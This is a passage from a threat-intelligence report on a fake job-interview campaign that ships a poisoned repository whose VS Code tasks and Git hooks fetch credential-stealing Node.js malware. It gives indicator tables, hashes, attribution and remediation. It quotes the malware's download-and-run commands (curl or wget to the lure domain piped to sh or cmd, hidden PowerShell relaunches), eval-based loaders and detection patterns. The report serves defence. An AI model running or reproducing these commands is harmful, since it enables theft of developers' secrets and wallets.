hxxp://45.61.148[.]220:8086/uploadURLSensitive-file upload endpoint
hxxp://45.61.148[.]220:8087/api/logURLLog endpoint
hxxp://45.61.148[.]220:8087/api/notifyURLNotify endpoint
ws://45.61.148[.]220:8087URLSocket.IO C2 endpoint

Persona and Social-Engineering Indicators

IndicatorTypeNotes
Nathaniel NicdaoLinkedIn display nameInitial-contact persona; profile later unavailable
Mark Harris <mark.harris.workspace@gmail[.]com>Google Calendar / Gmail personaCalendar invitation sender/reply-to
Mimori OkamotoOneDrive displayed account nameAccount shown as adding pawCommerce.zip
pawCommerce.zipDelivered filenameOneDrive-hosted ZIP developer task

These values are persona or delivery metadata. They are not proof of real-world identity or voluntary participation by any real person.

Repository Indicators

IndicatorTypeNotes
pawCommerce/Top-level folderDelivered archive root
petshop-swipePackage nameRoot package.json name
git@github[.]com:purity111/petshop.gitGit remoteLocal repository metadata
purity111/petshopGitHub owner/repoLocal repository metadata
6a76108793385bb41c703175112c0bee32848f58Commit SHALocal HEAD
strong <strong.business.info@gmail[.]com>Git actor metadataAuthor/committer in local Git metadata
saveDraftCommit subjectLocal commit metadata
core.hooksPath=.githubGit configurationRedirects hooks to repository-controlled directory
.github/post-checkoutGit hookActive OS-specific downloader hook
.github/pre-commitGit hook residueReferences missing 101.js; not confirmed active path
.vscode/settings.jsonVS Code configAttempts automatic task enablement
.vscode/tasks.jsonVS Code taskFolder-open task runs Git hook redirection and checkout
.repo_name.txt -> parts-fml8tiqbRepository markerUTF-16LE marker file; pivot only

Code-Level Indicators

task.allowAutomaticTasks
"runOn": "folderOpen"
"Git checkout to default branch"
git config core.hooksPath .github; git checkout main
.github/post-checkout
tanxilabs.com/settings/
flag=6
vscode-bootstrap.sh
vscode-bootstrap.cmd
env-setup.js
env-setup.npl
ip-api-psi.vercel.app
/api/githook-encrypted/
N3RlYW06
x-secret-header: secret
{ ...process.env }
eval(response.data)
DEV_API_KEY
DEV_SECRET_KEY
DEV_SECRET_VALUE
eC1zZWNyZXQta2V5
Xw==
x-secret-key
_
.data.cookies
Function.constructor
new (Function.constructor)('require', s)
handler(require)

Host Artifacts

ArtifactPlatformNotes
$HOME/.vscode/vscode-bootstrap.shmacOS/LinuxDownloaded bootstrap script
$HOME/.vscode/env-setup.jsmacOS/LinuxEnvironment-exfiltration loader
$HOME/.vscode/package.jsonmacOS/Linux/WindowsDependency manifest
$HOME/.vscode/node-v<version>-linux-x64/LinuxPortable Node.js extraction path
$HOME/.vscode/node-v<version>-darwin-x64/macOSPortable Node.js extraction path
%USERPROFILE%\.vscode\vscode-bootstrap.cmdWindowsDownloaded bootstrap script
%USERPROFILE%\.vscode\env-setup.nplWindowsEnvironment-exfiltration loader
nodejs\PFiles64\nodejs\node.exeWindowsPortable MSI extraction path
<os.tmpdir()>/pid.7.1.lockAllChild-module lock file
<os.tmpdir()>/pid.7.2.lockAllChild-module lock file
<os.tmpdir()>/pid.7.3.lockAllChild-module lock file

Process and Command Indicators

git config core.hooksPath .github; git checkout main
curl -s 'hxxps://tanxilabs[.]com/settings/mac?flag=6' | sh
wget -qO- 'hxxps://tanxilabs[.]com/settings/linux?flag=6' | sh
curl -s hxxps://tanxilabs[.]com/settings/windows?flag=6 | cmd
nohup bash "$HOME/.vscode/vscode-bootstrap.sh" > /dev/null 2>&1 &
powershell -WindowStyle Hidden -Command "Start-Process -FilePath cmd.exe"
msiexec /a "node-v<version>-x64.msi" /qn TARGETDIR="<extract_dir>"
npm install --silent --no-progress --loglevel=error --fund=false
node --max-old-space-size=4096 --no-warnings -

Campaign Markers

ukey: 705
ukey: 706
t: 7
705_<hostname>
706_<hostname>
SuperStr0ngSecret@)@^
pid.7.1.lock
pid.7.2.lock
pid.7.3.lock
N3RlYW06
7team:

File and Payload Hashes

SHA-256Artifact
12b7d1156bc16b49ac369eb3e4960db1594db36093bcab4131ce00353ff225f8pawCommerce.zip
8183f65097046b89fe5d6697630525541bafe31795c7757941a83709c72fb63b.vscode/settings.json
cb8dae0524af978772e57779f5599a1978777ee628e233a29350367b625d7be0.vscode/tasks.json
35e4fc9675352c53ff298a73e5ca508991cfbc17eecb4302de01623376a083ea.github/post-checkout
013b59b3dc454961afccb8fa355c7bb4a184b4f4cfdc84d50a9b3bfffc423032.github/pre-commit
1bd64df3cc9c5652294254d67542c2c8dec996b765f49cff1e3fe915a396da3aRoot package.json
956bafff356c7e8cb309f84d3611904ce706f52583f4fb3495fdbdd30019d8a1server/app.js
d851abd917b561f304e7f02776203954150569181c9e25cb63e70db2aa30a704server/utils/bootstrap.js
a4d8377c7bb4ad054c1475cdd5cf4e61ad4499b58fad0c1916447cc560b47a80server/config/bootstrapConfig.js
862e8146372cce9bcc55e1a5553207acb599ce66cbfba6b20ccd1eff66fc1b62server/.env
07d63608f5f0a070bdfdd17a7cb98ddc614b3ff082d91a0e45a3c71366b59f48.repo_name.txt
0318447e756ce588c7b699f82e8dcec6f8cae100444a824bb89c98015087d184stage1-pink-aloise-9.tiiny.site-index.json
f8f7ed336e109ddeb7d2c0098f43f6d065c479325b84cfb0613b1a2d6f06b4a6Extracted obfuscated JS from cookies field
8e16504e5e6bcefe45a9fc352ee61e1d5aed7a966434730a73a1b899208445c3ukey 705 extracted ldbScript
8c420f837a53c075b0ff57ea1a12d1cad0c8247444cb9333eb3ee865260eafc7ukey 705 extracted autoUploadScript
62f9031511106993c9b656a741391ededf78fd2b808ee55017d85941b9933d8fukey 705 extracted socketScript
16460965b678024801d319d2142a9a39d930f72d0179bcd6a06faef6dd5b8170tanxilabs macOS first-stage body
9fa866547d40783d194fbce567ccef2540b3dd97ba0a865d88d819740216ae34tanxilabs Linux first-stage body
193fe17b9ec5af160a9a2bf2eb6db7a59665efb5c180af62b193267a757cae82tanxilabs Windows first-stage body
2924c4d2ca90c44319a63b2cb11e192e953f8c33d451ba77e9b169e62e559df7Linux/macOS vscode-bootstrap.sh
b905367f92847d249ac08fb2e5be61adecf00f0e5f8109c282ac8570f9181de9Windows vscode-bootstrap.cmd body
eff1a9d27d08f058e3d5490d0b1cb6f695a77ca3bce1e7cc413b322dad25cad2env-setup.js / env-setup.npl body
017cb09cabd9c909e4fb06e8c668d2f89e472e103eda5230d98761a9f998bdb5tanxilabs package manifest
6f7fa17c61c3598e3f5e4b69078e3463e7dd859760b6ea0fc76412b6249c7182ip-api-psi final obfuscated JS payload
0530113b0dbaef971f8753fffdc2ee121b35219176472e27eff754ee66148f5aukey 706 extracted ldbScript
9eda8450bec119442ce165927903b37bb706f573564c8edebc5d5e11409e0548ukey 706 extracted autoUploadScript
7fc561a0568bac02e36e44328b0b600bb3843af9db84d6647065d21ec5f69becukey 706 extracted socketScript

Attribution Assessment

Assessed confidence: low-to-medium for DPRK-linked Contagious Interview / DeceptiveDevelopment-style consistency.

This case overlaps with public reporting on developer-targeted fake recruitment operations in several ways:

  • recruiter or hiring persona initiates contact;
  • developer is asked to handle a coding task;
  • delivery occurs through a trusted collaboration or file-sharing service;
  • execution relies on normal developer behavior such as opening a project, trusting a workspace, running Git operations, or running NPM;
  • Node.js is used as the operational runtime;
  • the payload targets browser credentials, cryptocurrency wallets, local secrets, .env files, clipboard content, and developer project material;
  • the payload supports Windows, macOS, Linux, and WSL.

Public reporting by Microsoft, MITRE ATT&CK, ESET, Abstract Security, and Jamf describes similar tradecraft in the Contagious Interview and DeceptiveDevelopment ecosystem. However, tradecraft similarity is not attribution by itself. This investigation does not independently prove who controlled the LinkedIn profile, Gmail account, OneDrive account, GitHub remote, Vercel apps, Tiiny/S3 object, or C2 server. The malware chain is directly supported by preserved artifacts; actor attribution remains an analytic assessment.

Relevant public reporting:

  • Microsoft: https://www.microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews/
  • MITRE ATT&CK G1052: https://attack.mitre.org/groups/G1052/
  • ESET DeceptiveDevelopment: https://www.welivesecurity.com/en/eset-research/deceptivedevelopment-targets-freelance-developers/
  • Abstract Security VS Code task vector: https://www.abstract.security/blog/contagious-interview-tracking-the-vs-code-tasks-infection-vector
  • Abstract Security evolution of VS Code/Cursor task chains: https://www.abstract.security/blog/contagious-interview-evolution-of-vscode-and-cursor-tasks-infection-chains
  • Jamf VS Code abuse: https://www.jamf.com/blog/threat-actors-expand-abuse-of-visual-studio-code/

Remediation and Hunting

If You Opened or Ran the Code

  1. Isolate the workstation from the network.
  2. Preserve volatile and disk evidence before cleanup where possible.
  3. Preserve the original ZIP, extracted repository, .git/, .github/, .vscode/, package.json, server/.env, and staged files under .vscode.
  4. Check whether core.hooksPath is configured to .github or another repository-controlled path.
  5. Search for:
$HOME/.vscode/vscode-bootstrap.sh
$HOME/.vscode/env-setup.js
$HOME/.vscode/package.json
%USERPROFILE%\.vscode\vscode-bootstrap.cmd
%USERPROFILE%\.vscode\env-setup.npl
pid.7.1.lock
pid.7.2.lock
pid.7.3.lock
  1. Review shell history, PowerShell logs, VS Code logs, NPM logs, process execution telemetry, DNS logs, proxy logs, and EDR telemetry.
  2. Assume environment variables were exfiltrated if env-setup.js ran.
  3. Rotate credentials exposed through:
browser credential stores
.env files
SSH keys
GitHub/GitLab/Bitbucket tokens
NPM tokens
cloud credentials
API keys
crypto wallet extensions
wallet seed phrases or private keys
clipboard contents during execution
  1. Treat WSL and the Windows host as a shared compromise boundary.
  2. Rebuild affected systems if credential theft, remote command execution, or file exfiltration is confirmed.

Network-Level Detection

Hunt for outbound traffic to:

tanxilabs[.]com
ip-api-psi.vercel[.]app
pink-aloise-9.tiiny[.]site
45.61.148[.]220:8085
45.61.148[.]220:8086
45.61.148[.]220:8087

Hunt for requests containing:

/settings/mac?flag=6
/settings/linux?flag=6
/settings/windows?flag=6
/settings/bootstraplinux?flag=6
/settings/bootstrap?flag=6
/settings/env?flag=6
/settings/package
/api/githook-encrypted/
N3RlYW06
x-secret-header: secret
x-secret-key: _
/api/log
/api/notify
/upload
/api/upload-file

A high-confidence network sequence is:

Developer workstation
  -> tanxilabs[.]com/settings/<os>?flag=6
  -> tanxilabs[.]com/settings/bootstrap*?flag=6
  -> tanxilabs[.]com/settings/env?flag=6
  -> tanxilabs[.]com/settings/package
  -> ip-api-psi.vercel[.]app/api/githook-encrypted/N3RlYW06
  -> 45.61.148[.]220:8085/8086/8087

A second high-confidence network sequence is:

Developer workstation
  -> pink-aloise-9.tiiny[.]site/index.json with x-secret-key: _
  -> 45.61.148[.]220:8085/8086/8087

Host-Level Detection

Search repositories for:

.vscode/settings.json containing task.allowAutomaticTasks
.vscode/tasks.json containing runOn: folderOpen
folder-open task modifying git config core.hooksPath
git config core.hooksPath .github; git checkout main
.github/post-checkout containing curl|wget piped to sh or cmd
package.json containing postinstall: npm run dev
server/utils/bootstrap.js using Function.constructor
server/config/bootstrapConfig.js containing DEV_API_KEY
server/.env containing DEV_SECRET_KEY and DEV_SECRET_VALUE

Search process telemetry for:

code or VS Code opening untrusted repository
cmd / powershell hidden relaunch from .vscode
curl|wget to tanxilabs[.]com
npm install --silent --no-progress --loglevel=error
node --max-old-space-size=4096 --no-warnings -
node executing env-setup.js or env-setup.npl
node reading browser Login Data / Local State / Web Data
node invoking powershell.exe, cmd.exe, pbpaste, xclip, xsel, secret-tool, or python3

Preventive Controls

  • Treat ZIP-delivered repositories containing .git/, .vscode/, or hidden hook paths as high risk.
  • Do not open unknown developer-task repositories in a trusted VS Code/Cursor workspace.
  • Use disposable virtual machines for coding tasks received from unknown recruiters.
  • Inspect .vscode/tasks.json, .vscode/settings.json, .github/, .git/config, and package.json before running any command.
  • Query git config --local --get core.hooksPath before running Git operations in received archives.
  • Disable automatic task execution and review VS Code Workspace Trust prompts carefully.
  • Block or alert on curl|sh, wget|sh, and curl|cmd patterns from Git hook contexts.
  • Alert when Node.js from a developer project reads browser credential databases, wallet extension storage, .env files, SSH keys, or clipboard content.

Appendix: Evidence Artifacts

Artifact IDDescriptionSHA-256
EX-001LinkedIn message screenshot showing Nathaniel Nicdao contactPreserved screenshot; hash available in private evidence package
EX-002OneDrive screenshot showing pawCommerce.zip and Mimori Okamoto account display namePreserved screenshot; hash available in private evidence package
EX-003Google Calendar email header from Mark Harris <mark.harris.workspace@gmail[.]com>Preserved header; hash available in private evidence package
EX-004Original pawCommerce.zip12b7d1156bc16b49ac369eb3e4960db1594db36093bcab4131ce00353ff225f8
EX-005Git metadata reportPrivate evidence package
EX-006.vscode/settings.json8183f65097046b89fe5d6697630525541bafe31795c7757941a83709c72fb63b
EX-007.vscode/tasks.jsoncb8dae0524af978772e57779f5599a1978777ee628e233a29350367b625d7be0
EX-008.github/post-checkout35e4fc9675352c53ff298a73e5ca508991cfbc17eecb4302de01623376a083ea
EX-009server/utils/bootstrap.jsd851abd917b561f304e7f02776203954150569181c9e25cb63e70db2aa30a704
EX-010stage1-pink-aloise-9.tiiny.site-index.json0318447e756ce588c7b699f82e8dcec6f8cae100444a824bb89c98015087d184
EX-011macOS tanxilabs first-stage body16460965b678024801d319d2142a9a39d930f72d0179bcd6a06faef6dd5b8170
EX-012Linux tanxilabs first-stage body9fa866547d40783d194fbce567ccef2540b3dd97ba0a865d88d819740216ae34
EX-013Windows tanxilabs first-stage body193fe17b9ec5af160a9a2bf2eb6db7a59665efb5c180af62b193267a757cae82
EX-014Linux/macOS vscode-bootstrap.sh2924c4d2ca90c44319a63b2cb11e192e953f8c33d451ba77e9b169e62e559df7
EX-015Windows vscode-bootstrap.cmd bodyb905367f92847d249ac08fb2e5be61adecf00f0e5f8109c282ac8570f9181de9
EX-016env-setup.js / env-setup.npleff1a9d27d08f058e3d5490d0b1cb6f695a77ca3bce1e7cc413b322dad25cad2
EX-017tanxilabs package manifest017cb09cabd9c909e4fb06e8c668d2f89e472e103eda5230d98761a9f998bdb5
EX-018Final ip-api-psi obfuscated JavaScript payload6f7fa17c61c3598e3f5e4b69078e3463e7dd859760b6ea0fc76412b6249c7182

Collection and Analysis Boundaries

This report is based on static analysis and controlled payload retrieval. No delivered Git hook, shell script, command script, NPM install workflow, Node.js payload, or decoded child module was executed during analysis.

Full raw artifacts, private URLs, tokenized OneDrive parameters, analyst-local paths, and potentially sensitive victim context are intentionally excluded from the public report.

TLP:CLEAR - This report may be freely shared. Attribution assessments are tentative and based on technical overlap, infrastructure overlap, and tradecraft similarity. All IOCs are provided for defensive purposes. References to persona names describe observed lure metadata, not validated involvement by any legitimate person or account owner.

Report ID: TP-2026-015 | Published: 2026-06-03 | Author: ThreatProphet